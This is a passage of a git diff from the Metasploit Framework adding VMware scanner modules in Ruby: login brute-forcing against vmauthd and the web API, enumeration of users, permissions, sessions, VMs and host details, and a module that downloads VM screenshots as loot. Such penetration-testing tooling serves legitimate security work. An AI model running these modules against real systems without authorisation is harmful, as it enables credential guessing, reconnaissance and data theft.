+ def fingerprint_vmware(ip,res)
+ unless res
+ vprint_error("http://#{ip}:#{rport} - No response")
+ return false
+ end
+ return false unless res.body.include?('VMware, Inc.')
+ os_match = res.body.match(/([\w\s]+)<\/name>/)
+ ver_match = res.body.match(/([\w\s\.]+)<\/version>/)
+ build_match = res.body.match(/([\w\s\.\-]+)<\/build>/)
+ full_match = res.body.match(/([\w\s\.\-]+)<\/fullName>/)
+ this_host = nil
+ if full_match
+ print_good "Identified #{full_match[1]}"
+ report_service(:host => (this_host || ip), :port => rport, :proto => 'tcp', :name => 'https', :info => full_match[1])
+ end
+ if os_match and ver_match and build_match
+ if os_match[1] =~ /ESX/ or os_match[1] =~ /vCenter/
+ this_host = report_host( :host => ip, :os_name => os_match[1], :os_flavor => ver_match[1], :os_sp => "Build #{build_match[1]}" )
+ end
+ return true
+ else
+ vprint_error("http://#{ip}:#{rport} - Could not identify as VMWare")
+ return false
+ end
+
+ end
+
+end
+
diff --git a/modules/auxiliary/scanner/vmware/vmauthd_login.rb b/modules/auxiliary/scanner/vmware/vmauthd_login.rb
index 3835b92260..7d1f7b27bc 100644
--- a/modules/auxiliary/scanner/vmware/vmauthd_login.rb
+++ b/modules/auxiliary/scanner/vmware/vmauthd_login.rb
@@ -24,9 +24,8 @@ class Metasploit3 < Msf::Auxiliary
super(
'Name' => 'VMWare Authentication Daemon Login Scanner',
'Version' => '$Revision$',
- 'Description' => %q{
- This module will test vmauthd logins on a range of machines and
- report successful logins.
+ 'Description' => %q{This module will test vmauthd logins on a range of machines and
+ report successful logins.
},
'Author' => ['TheLightCosine '],
'References' =>
@@ -39,27 +38,32 @@ class Metasploit3 < Msf::Auxiliary
register_options([Opt::RPORT(902)])
end
-
-
-
+
def run_host(ip)
begin
- connect
- rescue
- print_error "Could not connect to #{ip}:#{datastore['RPORT']}"
+
+ connect rescue nil
+ if not self.sock
+ print_error "#{rhost}:#{rport} Could not connect to vmauthd"
return
end
- banner = sock.get_once.chomp
- print_status "Banner: #{banner}"
+ banner = sock.get_once(-1, 10)
+ if not banner
+ print_error "#{rhost}:#{rport} No banner received from vmauthd"
+ return
+ end
+
+ banner = banner.strip
+ print_status "#{rhost}:#{rport} Banner: #{banner}"
- unless banner.include? "VMware Authentication Daemon"
- print_error "This does not appear to be a vmauthd service"
+ unless banner =~ /VMware Authentication Daemon/
+ print_error "#{rhost}:#{rport} This does not appear to be a vmauthd service"
return
end
- if banner.include? "SSL"
- print_status("Switching to SSL connection...")
+ if banner =~ /SSL/
+ print_status("#{rhost}:#{rport} Switching to SSL connection...")
swap_sock_plain_to_ssl
end
@@ -67,9 +71,9 @@ class Metasploit3 < Msf::Auxiliary
result = do_login(user, pass)
case result
when :failed
- print_error("#{ip}:#{datastore['RPORT']} vmauthd login FAILED - #{user}:#{pass}")
+ print_error("#{rhost}:#{rport} vmauthd login FAILED - #{user}:#{pass}")
when :success
- print_good("#{ip}:#{datastore['RPORT']} vmauthd login SUCCESS - #{user}:#{pass}")
+ print_good("#{rhost}:#{rport} vmauthd login SUCCESS - #{user}:#{pass}")
report_auth_info(
:host => rhost,
:port => rport,
@@ -81,9 +85,15 @@ class Metasploit3 < Msf::Auxiliary
)
return if datastore['STOP_ON_SUCCESS']
else
- print_error("#{ip}:#{datastore['RPORT']} #{res}")
+ print_error("#{rhost}:#{rport} Error: #{res}")
end
end
+
+ rescue ::Interrupt
+ raise $!
+ ensure
+ disconnect
+ end
end
@@ -91,7 +101,7 @@ class Metasploit3 < Msf::Auxiliary
nsock.put("USER #{user}\r\n")
res = nsock.get_once
unless res.start_with? "331"
- ret_msg = "received unexpected reply to the USER command: #{res}"
+ ret_msg = "Unexpected reply to the USER command: #{res}"
return ret_msg
end
nsock.put("PASS #{pass}\r\n")
@@ -101,7 +111,7 @@ class Metasploit3 < Msf::Auxiliary
elsif res.start_with? "230"
return :success
else
- ret_msg = "received unexpected reply to the PASS command: #{res}"
+ ret_msg = "Unexpected reply to the PASS command: #{res}"
return ret_msg
end
end
diff --git a/modules/auxiliary/scanner/vmware/vmauthd_version.rb b/modules/auxiliary/scanner/vmware/vmauthd_version.rb
new file mode 100644
index 0000000000..39e8f67ba2
--- /dev/null
+++ b/modules/auxiliary/scanner/vmware/vmauthd_version.rb
@@ -0,0 +1,135 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+require 'msf/core/exploit/tcp'
+
+class Metasploit3 < Msf::Auxiliary
+
+ include Exploit::Remote::Tcp
+ include Msf::Auxiliary::Scanner
+ include Msf::Auxiliary::Report
+
+ @@cached_rsa_key = nil
+
+ def initialize
+ super(
+ 'Name' => 'VMWare Authentication Daemon Version Scanner',
+ 'Version' => '$Revision$',
+ 'Description' => %q{
+ This module will identify information about a host through the
+ vmauthd service.
+ },
+ 'Author' => ['TheLightCosine ', 'hdm'],
+ 'License' => MSF_LICENSE
+ )
+
+ register_options([Opt::RPORT(902)])
+
+ end
+
+
+
+ def run_host(ip)
+ begin
+
+ connect rescue nil
+ if not self.sock
+ return
+ end
+
+ banner = sock.get_once(-1, 10)
+ if not banner
+ print_error "#{rhost}:#{rport} No banner received from vmauthd"
+ return
+ end
+
+ banner = banner.strip
+
+ unless banner =~ /VMware Authentication Daemon/
+ print_error "#{rhost}:#{rport} This does not appear to be a vmauthd service"
+ return
+ end
+
+ cert = nil
+
+ if banner =~ /SSL/
+ print_status("#{rhost}:#{rport} Switching to SSL connection...")
+ swap_sock_plain_to_ssl
+ cert = self.sock.peer_cert
+ end
+
+ if cert
+ banner << " Certificate:#{cert.subject.to_s}"
+ end
+
+ print_status "#{rhost}:#{rport} Banner: #{banner}"
+
+ report_service(
+ :host => rhost,
+ :port => rport,
+ :sname => 'vmauthd',
+ :info => banner,
+ :proto => 'tcp'
+ )
+
+
+ rescue ::Interrupt
+ raise $!
+ ensure
+ disconnect
+ end
+
+ end
+
+ def do_login(user, pass, nsock=self.sock)
+ nsock.put("USER #{user}\r\n")
+ res = nsock.get_once
+ unless res.start_with? "331"
+ ret_msg = "Unexpected reply to the USER command: #{res}"
+ return ret_msg
+ end
+ nsock.put("PASS #{pass}\r\n")
+ res = nsock.get_once
+ if res.start_with? "530"
+ return :failed
+ elsif res.start_with? "230"
+ return :success
+ else
+ ret_msg = "Unexpected reply to the PASS command: #{res}"
+ return ret_msg
+ end
+ end
+
+ def swap_sock_plain_to_ssl(nsock=self.sock)
+ ctx = generate_ssl_context()
+ ssl = OpenSSL::SSL::SSLSocket.new(nsock, ctx)
+
+ ssl.connect
+
+ nsock.extend(Rex::Socket::SslTcp)
+ nsock.sslsock = ssl
+ nsock.sslctx = ctx
+ end
+
+ def generate_ssl_context
+ ctx = OpenSSL::SSL::SSLContext.new(:SSLv3)
+ @@cached_rsa_key ||= OpenSSL::PKey::RSA.new(1024){ }
+
+ ctx.key = @@cached_rsa_key
+
+ ctx.session_id_context = Rex::Text.rand_text(16)
+
+ return ctx
+ end
+
+
+end
+
diff --git a/modules/auxiliary/scanner/vmware/vmware_enum_permissions.rb b/modules/auxiliary/scanner/vmware/vmware_enum_permissions.rb
new file mode 100644
index 0000000000..399ca91f31
--- /dev/null
+++ b/modules/auxiliary/scanner/vmware/vmware_enum_permissions.rb
@@ -0,0 +1,98 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+
+require 'msf/core'
+require 'rex/proto/ntlm/message'
+
+
+class Metasploit3 < Msf::Auxiliary
+ include Msf::Exploit::Remote::VIMSoap
+ include Msf::Exploit::Remote::HttpClient
+ include Msf::Auxiliary::Report
+ include Msf::Auxiliary::Scanner
+
+ def initialize
+ super(
+ 'Name' => 'VMWare Enumerate Permissions',
+ 'Version' => '$Revision$',
+ 'Description' => %Q{
+ This module will log into the Web API of VMWare and try to enumerate
+ all the user/group permissions. Unlike enum suers this is only
+ users and groups that specifically have permissions defined within
+ the VMware product},
+ 'Author' => ['TheLightCosine '],
+ 'License' => MSF_LICENSE
+ )
+
+ register_options(
+ [
+ Opt::RPORT(443),
+ OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]),
+ OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ]),
+ ], self.class)
+ end
+
+
+ def run_host(ip)
+ if vim_do_login(datastore['USERNAME'], datastore['PASSWORD']) == :success
+ role_map = {}
+ esx_roles = vim_get_roles
+ case esx_roles
+ when :noresponse
+ print_error "Recieved no Response from #{ip}"
+ when :expired
+ print_error "The login session appears to have expired on #{ip}"
+ when :error
+ print_error "An error occured while trying to enumerate the roles on #{ip}"
+ else
+ esx_roles.each do |role|
+ role_map[role['roleId']] = {
+ "name" => role['name'],
+ "system" => role['system'],
+ "summary" => role['info']['summary']
+ }
+ end
+ end
+
+ esx_permissions = vim_get_all_permissions
+ case esx_permissions
+ when :noresponse
+ print_error "Recieved no Response from #{ip}"
+ when :expired
+ print_error "The login session appears to have expired on #{ip}"
+ when :error
+ print_error "An error occured while trying to enumerate the permissions on #{ip}"
+ else
+ tmp_perms = Rex::Ui::Text::Table.new(
+ 'Header' => "Permissions for VMWare #{ip}",
+ 'Indent' => 1,
+ 'Columns' => ['Name', 'IsAGroup', 'Role', 'Role Summary']
+ )
+ esx_permissions.each do |perm|
+ role_name = role_map[perm['roleId']]['name']
+ role_summary = role_map[perm['roleId']]['summary']
+ tmp_perms << [perm['principal'], perm['group'], role_name , role_summary]
+ end
+ print_good tmp_perms.to_s
+ store_loot('host.vmware.permissions', "text/plain", datastore['RHOST'], tmp_perms.to_csv , "#{datastore['RHOST']}_esx_permissions.txt", "VMWare ESX Permissions")
+ end
+ else
+ print_error "Login Failure on #{ip}"
+ return
+ end
+ end
+
+
+
+
+end
+
diff --git a/modules/auxiliary/scanner/vmware/vmware_enum_sessions.rb b/modules/auxiliary/scanner/vmware/vmware_enum_sessions.rb
new file mode 100644
index 0000000000..40329a45b1
--- /dev/null
+++ b/modules/auxiliary/scanner/vmware/vmware_enum_sessions.rb
@@ -0,0 +1,80 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+
+require 'msf/core'
+require 'rex/proto/ntlm/message'
+
+
+class Metasploit3 < Msf::Auxiliary
+ include Msf::Exploit::Remote::VIMSoap
+ include Msf::Exploit::Remote::HttpClient
+ include Msf::Auxiliary::Report
+ include Msf::Auxiliary::Scanner
+
+ def initialize
+ super(
+ 'Name' => 'VMWare Enumerate Active Sessions',
+ 'Version' => '$Revision$',
+ 'Description' => %Q{
+ This module will log into the Web API of VMWare and try to enumerate
+ all the login sessions.},
+ 'Author' => ['TheLightCosine '],
+ 'License' => MSF_LICENSE
+ )
+
+ register_options(
+ [
+ Opt::RPORT(443),
+ OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]),
+ OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ])
+ ], self.class)
+ end
+
+
+ def run_host(ip)
+ if vim_do_login(datastore['USERNAME'], datastore['PASSWORD']) == :success
+ vim_sessions = vim_get_session_list
+ case vim_sessions
+ when :noresponse
+ print_error "Connection Error - Recieved No Reply from #{ip}"
+ when :error
+ print_error "An error has occured"
+ when :expired
+ print_error "The Session is no longer Authenticated"
+ else
+ output = ''
+ vim_sessions.each do |vsession|
+ tmp_line = "Name: #{vsession['fullName']} \n\t"
+ tmp_line << "Active: #{vim_session_is_active(vsession['key'],vsession['userName'])} \n\t"
+ tmp_line << "Username: #{vsession['userName']}\n\t"
+ tmp_line << "Session Key: #{vsession['key']}\n\t"
+ tmp_line << "Locale: #{vsession['locale']}\n\t"
+ tmp_line << "Login Time: #{vsession['loginTime']}\n\t"
+ tmp_line << "Last Active Time: #{vsession['lastActiveTime']}\n\n"
+ print_good tmp_line
+ output << tmp_line
+ end
+ unless output.empty?
+ store_loot("host.vmware.sessions", "text/plain", datastore['RHOST'], output, "vmware_sessions.txt", "Login Sessions for VMware")
+ end
+ end
+ else
+ print_error "Login Failure on #{ip}"
+ return
+ end
+ end
+
+
+
+
+end
+
diff --git a/modules/auxiliary/scanner/vmware/vmware_enum_users.rb b/modules/auxiliary/scanner/vmware/vmware_enum_users.rb
new file mode 100644
index 0000000000..abed4413ec
--- /dev/null
+++ b/modules/auxiliary/scanner/vmware/vmware_enum_users.rb
@@ -0,0 +1,140 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+
+require 'msf/core'
+require 'rex/proto/ntlm/message'
+
+
+class Metasploit3 < Msf::Auxiliary
+ include Msf::Exploit::Remote::VIMSoap
+ include Msf::Exploit::Remote::HttpClient
+ include Msf::Auxiliary::Report
+ include Msf::Auxiliary::Scanner
+
+ def initialize
+ super(
+ 'Name' => 'VMWare Enumerate User Accounts',
+ 'Version' => '$Revision$',
+ 'Description' => %Q{
+ This module will log into the Web API of VMWare and try to enumerate
+ all the user accounts. If the VMware instance is connected to one or
+ more domains, it will try to enumerate domain users as well.},
+ 'Author' => ['TheLightCosine '],
+ 'License' => MSF_LICENSE
+ )
+
+ register_options(
+ [
+ Opt::RPORT(443),
+ OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]),
+ OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ])
+ ], self.class)
+ end
+
+
+ def run_host(ip)
+ if vim_do_login(datastore['USERNAME'], datastore['PASSWORD']) == :success
+ #Get local Users and Groups
+ user_list = vim_get_user_list(nil)
+ tmp_users = Rex::Ui::Text::Table.new(
+ 'Header' => "Users for server #{ip}",
+ 'Indent' => 1,
+ 'Columns' => ['Name', 'Description']
+ )
+ tmp_groups = Rex::Ui::Text::Table.new(
+ 'Header' => "Groups for server #{ip}",
+ 'Indent' => 1,
+ 'Columns' => ['Name', 'Description']
+ )
+ unless user_list.nil?
+ case user_list
+ when :noresponse
+ print_error "Recieved no Response from #{ip}"
+ when :expired
+ print_error "The login session appears to have expired on #{ip}"
+ when :error
+ print_error "An error occured while trying to enumerate the users for #{domain} on #{ip}"
+ else
+ user_list.each do |obj|
+ if obj['group'] == 'true'
+ tmp_groups << [obj['principal'], obj['fullName']]
+ else
+ tmp_users << [obj['principal'], obj['fullName']]
+ end
+ end
+ print_good tmp_groups.to_s
+ store_loot('host.vmware.groups', "text/plain", datastore['RHOST'], tmp_groups.to_csv , "#{datastore['RHOST']}_esx_groups.txt", "VMWare ESX User Groups")
+ print_good tmp_users.to_s
+ store_loot('host.vmware.users', "text/plain", datastore['RHOST'], tmp_users.to_csv , "#{datastore['RHOST']}_esx_users.txt", "VMWare ESX Users")
+ end
+ end
+
+ #Enumerate Domains the Server is connected to
+ esx_domains = vim_get_domains
+ case esx_domains
+ when :noresponse
+ print_error "Recieved no Response from #{ip}"
+ when :expired
+ print_error "The login session appears to have expired on #{ip}"
+ when :error
+ print_error "An error occured while trying to enumerate the domains on #{ip}"
+ else
+ #Enumerate Domain Users and Groups
+ esx_domains.each do |domain|
+ tmp_dusers = Rex::Ui::Text::Table.new(
+ 'Header' => "Users for domain #{domain}",
+ 'Indent' => 1,
+ 'Columns' => ['Name', 'Description']
+ )
+
+ tmp_dgroups = Rex::Ui::Text::Table.new(
+ 'Header' => "Groups for domain #{domain}",
+ 'Indent' => 1,
+ 'Columns' => ['Name', 'Description']
+ )
+
+ user_list = vim_get_user_list(domain)
+ case user_list
+ when nil
+ next
+ when :noresponse
+ print_error "Recieved no Response from #{ip}"
+ when :expired
+ print_error "The login session appears to have expired on #{ip}"
+ when :error
+ print_error "An error occured while trying to enumerate the users for #{domain} on #{ip}"
+ else
+ user_list.each do |obj|
+ if obj['group'] == 'true'
+ tmp_dgroups << [obj['principal'], obj['fullName']]
+ else
+ tmp_dusers << [obj['principal'], obj['fullName']]
+ end
+ end
+ print_good tmp_dgroups.to_s
+ store_loot('domain.groups', "text/plain", datastore['RHOST'], tmp_dgroups.to_csv , "#{domain}_esx_groups.txt", "VMWare ESX #{domain} Domain User Groups")
+ print_good tmp_dusers.to_s
+ store_loot('domain.users', "text/plain", datastore['RHOST'], tmp_dgroups.to_csv , "#{domain}_esx_users.txt", "VMWare ESX #{domain} Domain Users")
+ end
+ end
+ end
+ else
+ print_error "Login Failure on #{ip}"
+ return
+ end
+ end
+
+
+
+
+end
+
diff --git a/modules/auxiliary/scanner/vmware/vmware_enum_vms.rb b/modules/auxiliary/scanner/vmware/vmware_enum_vms.rb
new file mode 100644
index 0000000000..ddc53d057f
--- /dev/null
+++ b/modules/auxiliary/scanner/vmware/vmware_enum_vms.rb
@@ -0,0 +1,90 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+
+require 'msf/core'
+require 'msf/core/exploit/vim_soap'
+
+
+class Metasploit3 < Msf::Auxiliary
+
+ include Msf::Exploit::Remote::HttpClient
+ include Msf::Auxiliary::Report
+ include Msf::Exploit::Remote::VIMSoap
+ include Msf::Auxiliary::Scanner
+
+ def initialize
+ super(
+ 'Name' => 'VMWare Enumerate Virtual Machines',
+ 'Description' => %Q{
+ This module attempts to discover virtual machines on any VMWare instance
+ running the web interface. This would include ESX/ESXi and VMWare Server.},
+ 'Author' => ['TheLightCosine '],
+ 'License' => MSF_LICENSE
+ )
+
+ register_options(
+ [
+ Opt::RPORT(443),
+ OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]),
+ OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ]),
+ OptBool.new('SCREENSHOT', [true, "Wheter or not to try to take a screenshot", true])
+ ], self.class)
+ end
+
+ def run_host(ip)
+
+ if vim_do_login(datastore['USERNAME'], datastore['PASSWORD']) == :success
+ virtual_machines = vim_get_vms
+ virtual_machines.each do |vm|
+ print_good YAML.dump(vm)
+ report_note(
+ :host => rhost,
+ :type => "vmware.esx.vm",
+ :data => vm,
+ :port => rport,
+ :proto => 'tcp',
+ :update => :unique_data
+ )
+ next unless datastore['SCREENSHOT'] and vm['runtime']['powerState'] == 'poweredOn'
+ print_status "Attempting to take screenshot of #{vm['name']}...."
+ screenshot = vim_take_screenshot(vm, datastore['USERNAME'], datastore['PASSWORD'] )
+ case screenshot
+ when :error
+ print_error "Screenshot failed"
+ next
+ when :expired
+ vim_do_login(datastore['USERNAME'], datastore['PASSWORD'])
+ retry_result = vim_take_screenshot(vm, datastore['USERNAME'], datastore['PASSWORD'] )
+ if retry_result == :error or retry_result == :expired
+ print_error "Screenshot failed"
+ else
+ ss_path = store_loot("host.vmware.screenshot", "image/png", datastore['RHOST'], retry_result, "#{vm['name']}_screenshot.png", "Screenshot of VM #{vm['name']}")
+ print_good "Screenshot Saved to #{ss_path}"
+ end
+ else
+ ss_path = store_loot("host.vmware.screenshot", "image/png", datastore['RHOST'], screenshot, "screenshot.png", "Screenshot of VM #{vm['name']}")
+ print_good "Screenshot Saved to #{ss_path}"
+ end
+ end
+ store_loot('host.vmware.vms', "text/plain", datastore['RHOST'], YAML.dump(virtual_machines) , "#{datastore['RHOST']}_esx_vms.txt", "VMWare ESX Virtual Machines")
+ else
+ print_error "Login Failure on #{ip}"
+ return
+ end
+ end
+
+
+
+
+
+end
+
diff --git a/modules/auxiliary/scanner/vmware/vmware_host_details.rb b/modules/auxiliary/scanner/vmware/vmware_host_details.rb
new file mode 100644
index 0000000000..b5ff83cbe0
--- /dev/null
+++ b/modules/auxiliary/scanner/vmware/vmware_host_details.rb
@@ -0,0 +1,64 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+
+require 'msf/core'
+require 'msf/core/exploit/vim_soap'
+
+
+class Metasploit3 < Msf::Auxiliary
+
+ include Msf::Exploit::Remote::HttpClient
+ include Msf::Auxiliary::Report
+ include Msf::Exploit::Remote::VIMSoap
+ include Msf::Auxiliary::Scanner
+
+ def initialize
+ super(
+ 'Name' => 'VMWare Enumerate Host Details',
+ 'Version' => '$Revision$',
+ 'Description' => %Q{
+ This module attempts to enumerate information about the host systems through the VMWare web API.
+ This can include information about the hardware installed on the host machine.},
+ 'Author' => ['TheLightCosine '],
+ 'License' => MSF_LICENSE
+ )
+
+ register_options(
+ [
+ Opt::RPORT(443),
+ OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]),
+ OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ]),
+ OptBool.new('HW_DETAILS', [true, "Enumerate the Hardware on the system as well?", false])
+ ], self.class)
+ end
+
+ def run_host(ip)
+
+ if vim_do_login(datastore['USERNAME'], datastore['PASSWORD']) == :success
+ output = "VMWare Host at #{ip} details\n"
+ output << "-----------------------------\n"
+ host_summary = vim_get_all_host_summary(datastore['HW_DETAILS'])
+ output << YAML.dump(host_summary)
+ print_good output
+ store_loot('vmware_host_details', "text/plain", datastore['RHOST'], output, "#{datastore['RHOST']}_vmware_host.txt", "VMWare Host Details")
+ else
+ print_error "Login Failure on #{ip}"
+ return
+ end
+ end
+
+
+
+
+
+end
+
diff --git a/modules/auxiliary/scanner/vmware/vmware_http_login.rb b/modules/auxiliary/scanner/vmware/vmware_http_login.rb
index b8c005a93f..8df8869c5c 100644
--- a/modules/auxiliary/scanner/vmware/vmware_http_login.rb
+++ b/modules/auxiliary/scanner/vmware/vmware_http_login.rb
@@ -15,19 +15,18 @@ require 'rex/proto/ntlm/message'
class Metasploit3 < Msf::Auxiliary
-
+ include Msf::Exploit::Remote::VIMSoap
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute
-
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'VMWare Web Login Scanner',
'Version' => '$Revision$',
- 'Description' => 'This module attempts to authenticate to the VMWare HTTP service
- for VMWare Server, ESX, and ESXi',
+ 'Description' => 'This module attempts to authenticate to the VMWare HTTP service
+ for VmWare Server, ESX, and ESXI',
'Author' => ['TheLightCosine '],
'References' =>
[
@@ -38,96 +37,98 @@ class Metasploit3 < Msf::Auxiliary
register_options(
[
+ OptString.new('URI', [true, "The default URI to login with", "/sdk"]),
Opt::RPORT(443)
], self.class)
end
+
def run_host(ip)
-
- return unless check(ip)
-
+ return unless check
each_user_pass { |user, pass|
- result = do_login(user, pass)
+ result = vim_do_login(user, pass)
case result
when :success
- print_good "#{ip}:#{rport} - Successful Login! (#{user}:#{pass})"
+ print_good "#{rhost}:#{rport} - Successful Login! (#{user}:#{pass})"
report_auth_info(
:host => rhost,
:port => rport,
:user => user,
:pass => pass,
- :proto => 'tcp',
- :sname => 'https',
:source_type => "user_supplied",
:active => true
)
return if datastore['STOP_ON_SUCCESS']
when :fail
- print_error "#{ip}:#{rport} - Login Failure (#{user}:#{pass})"
+ print_error "#{rhost}:#{rport} - Login Failure (#{user}:#{pass})"
end
}
end
+
# Mostly taken from the Apache Tomcat service validator
- def check(ip)
- datastore['URI'] ||= "/sdk"
- user = Rex::Text.rand_text_alpha(8)
- pass = Rex::Text.rand_text_alpha(8)
+ def check
+ soap_data =
+ %Q|
+
+
+ <_this type="ServiceInstance">ServiceInstance
+
+
+ |
+
begin
res = send_request_cgi({
'uri' => datastore['URI'],
'method' => 'POST',
'agent' => 'VMware VI Client',
- 'data' => gen_soap_data(user,pass)
+ 'data' => soap_data
}, 25)
+
if res
- fp = http_fingerprint({ :response => res })
- if fp =~ /VMWare/
- report_service(:host => rhost, :port => rport, :proto => 'tcp', :sname => 'https', :info => fp)
- return true
- else
- vprint_error("http://#{ip}:#{rport} - Could not identify as VMWare")
- return false
- end
+ fingerprint_vmware(res)
else
- vprint_error("http://#{ip}:#{rport} - No response")
+ vprint_error("#{rhost}:#{rport} Error: no response")
end
+
rescue ::Rex::ConnectionError => e
- vprint_error("http://#{ip}:#{rport}#{datastore['URI']} - #{e}")
+ vprint_error("#{rhost}:#{rport} Error: could not connect")
return false
rescue
- vprint_error("Skipping #{ip} due to error - #{e}")
+ vprint_error("#{rhost}:#{rport} Error: #{e}")
return false
end
end
-
- def gen_soap_data(user,pass)
- soap_data = []
- soap_data << ''
- soap_data << ' '
- soap_data << ' '
- soap_data << ' <_this type="SessionManager">ha-sessionmgr'
- soap_data << ' ' + user.to_s + ''
- soap_data << ' ' + pass.to_s + ''
- soap_data << ' '
- soap_data << ' '
- soap_data << ''
- soap_data.join
- end
-
- def do_login(user, pass)
- res = send_request_cgi({
- 'uri' => '/sdk',
- 'method' => 'POST',
- 'agent' => 'VMware VI Client',
- 'data' => gen_soap_data(user,pass)
- }, 25)
- if res.code == 200
- return :success
- else
- return :fail
+
+ def fingerprint_vmware(res)
+ unless res
+ vprint_error("#{rhost}:#{rport} Error: no response")
+ return false
end
+ return false unless res.body.include?('VMware, Inc.')
+
+ os_match = res.body.match(/([\w\s]+)<\/name>/)
+ ver_match = res.body.match(/([\w\s\.]+)<\/version>/)
+ build_match = res.body.match(/([\w\s\.\-]+)<\/build>/)
+ full_match = res.body.match(/([\w\s\.\-]+)<\/fullName>/)
+
+ if full_match
+ print_good "#{rhost}:#{rport} - Identified #{full_match[1]}"
+ report_service(:host => rhost, :port => rport, :proto => 'tcp', :sname => 'https', :info => full_match[1])
+ end
+
+ if os_match and ver_match and build_match
+ if os_match[1] =~ /ESX/ or os_match[1] =~ /vCenter/
+ this_host = report_host( :host => rhost, :os_name => os_match[1], :os_flavor => ver_match[1], :os_sp => "Build #{build_match[1]}" )
+ end
+ return true
+ else
+ vprint_error("#{rhost}:#{rport} Error: Could not identify as VMWare")
+ return false
+ end
+
end
+
end
diff --git a/modules/auxiliary/scanner/vmware/vmware_screenshot_stealer.rb b/modules/auxiliary/scanner/vmware/vmware_screenshot_stealer.rb
new file mode 100644
index 0000000000..951b519cb2
--- /dev/null
+++ b/modules/auxiliary/scanner/vmware/vmware_screenshot_stealer.rb
@@ -0,0 +1,111 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+
+require 'msf/core'
+require 'msf/core/exploit/vim_soap'
+
+
+class Metasploit3 < Msf::Auxiliary
+
+ include Msf::Exploit::Remote::HttpClient
+ include Msf::Auxiliary::Report
+ include Msf::Exploit::Remote::VIMSoap
+ include Msf::Auxiliary::Scanner
+
+ def initialize
+ super(
+ 'Name' => 'VMWare Screenshot Stealer',
+ 'Version' => '$Revision$',
+ 'Description' => %Q{
+ This module uses supplied login credentials to connect to VMWare via
+ the web interface. It then searches through the datastores looking for screenshots.
+ It will downlaod any screenshots it finds and save them as loot.},
+ 'Author' => ['TheLightCosine '],
+ 'License' => MSF_LICENSE
+ )
+
+ register_options(
+ [
+ Opt::RPORT(443),
+ OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]),
+ OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ])
+ ], self.class)
+ end
+
+ def run_host(ip)
+ if vim_do_login(datastore['USERNAME'], datastore['PASSWORD']) == :success
+ @user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ":" + datastore['PASSWORD'])
+ crawl_page('/folder')
+ else
+ print_error "Login Failure on #{ip}"
+ return
+ end
+ end
+
+
+
+ def crawl_page(path, parent='')
+ res = send_request_cgi({
+ 'uri' => path,
+ 'method' => 'GET',
+ 'cookie' => @vim_cookie,
+ 'headers' => { 'Authorization' => "Basic #{@user_pass}"}
+ }, 25)
+ if res
+ @vim_cookie = res.headers['Set-Cookie']
+ if res.code== 200
+ res.body.scan(//) do |match|
+ link = match[0]
+ link.gsub!('&', '&')
+ case link
+ when /%2epng?/
+ img_name = Rex::Text::uri_decode(link.match(/\/([\w\?=&;%]+%2epng)/)[1])
+ print_good "Screenshot Found: #{img_name} Full Path: #{link}"
+ grab_screenshot(link, img_name)
+ when /%2e(?!png)/
+ next
+ when parent
+ next
+ else
+ crawl_page(link, path)
+ end
+ end
+ elsif res.code == 401
+ print_error "Authorization Failure for: #{path}"
+ end
+ end
+ end
+
+ def grab_screenshot(path, name)
+ res = send_request_cgi({
+ 'uri' => path,
+ 'method' => 'GET',
+ 'cookie' => @vim_cookie,
+ 'headers' => { 'Authorization' => "Basic #{@user_pass}"}
+ }, 25)
+ if res
+ @vim_cookie = res.headers['Set-Cookie']
+ if res.code == 200
+ img = res.body
+ ss_path = store_loot("host.vmware.screenshot", "image/png", datastore['RHOST'], img, name , "Screenshot of VM #{name}")
+ print_status "Screenshot saved to #{ss_path}"
+ else
+ print_error "Failed to retrieve screenshot at #{path} HTTP Response code #{res.code} "
+ end
+ else
+ print_error "Failed to retrieve screenshot: there was no reply"
+ end
+
+ end
+
+end
+